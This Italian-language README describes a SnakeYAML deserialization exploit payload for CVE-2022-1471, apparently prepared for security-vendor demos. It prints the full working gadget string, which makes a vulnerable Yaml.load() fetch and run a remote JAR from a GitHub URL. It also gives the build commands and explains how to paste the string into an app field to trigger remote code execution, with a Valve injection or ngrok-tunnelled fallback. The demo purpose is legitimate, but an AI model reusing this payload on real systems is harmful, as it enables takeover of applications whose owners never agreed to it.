
Payload di exploit SnakeYAML CVE-2022-1471 per le demo di Seal Security
Un payload di sfruttamento della deserializzazione SnakeYAML per CVE-2022-1471, adattato da artsploit/yaml-payload (originariamente basato su mbechler/marshalsec).
Quando viene caricato tramite l'insicuro Yaml.load() di SnakeYAML, questo payload prende il controllo dell'applicazione in esecuzione e la sostituisce con una pagina "You've Been PWNED":
Se l'iniezione della Tomcat Valve non è disponibile (ad es. app non Spring), ripiega su un server HTTP standalone sulla porta 9999 e crea automaticamente un tunnel ngrok se ngrok è in esecuzione.
Funziona sia localmente su macOS sia nelle pipeline CI/CD (ad es. GitHub Actions su Ubuntu).
Il payload SnakeYAML attiva ScriptEngineManager tramite lo SPI Java (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL che punta a yaml-payload.jar di questo repoURLClassLoader per caricare classi remoteScriptEngineManager rileva e carica AwesomeScriptEngineFactory tramite META-INF/services/javax.script.ScriptEngineFactory/ con la pagina PWNEDRichiede JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Usato come payload dell'exploit nel progetto maven-demo. Incolla la stringa del payload nel campo nome dell'app per attivare la RCE. La pagina dell'app verrà sostituita con la pagina PWNED alla richiesta successiva. Consulta il README di quel repo per le istruzioni complete della demo.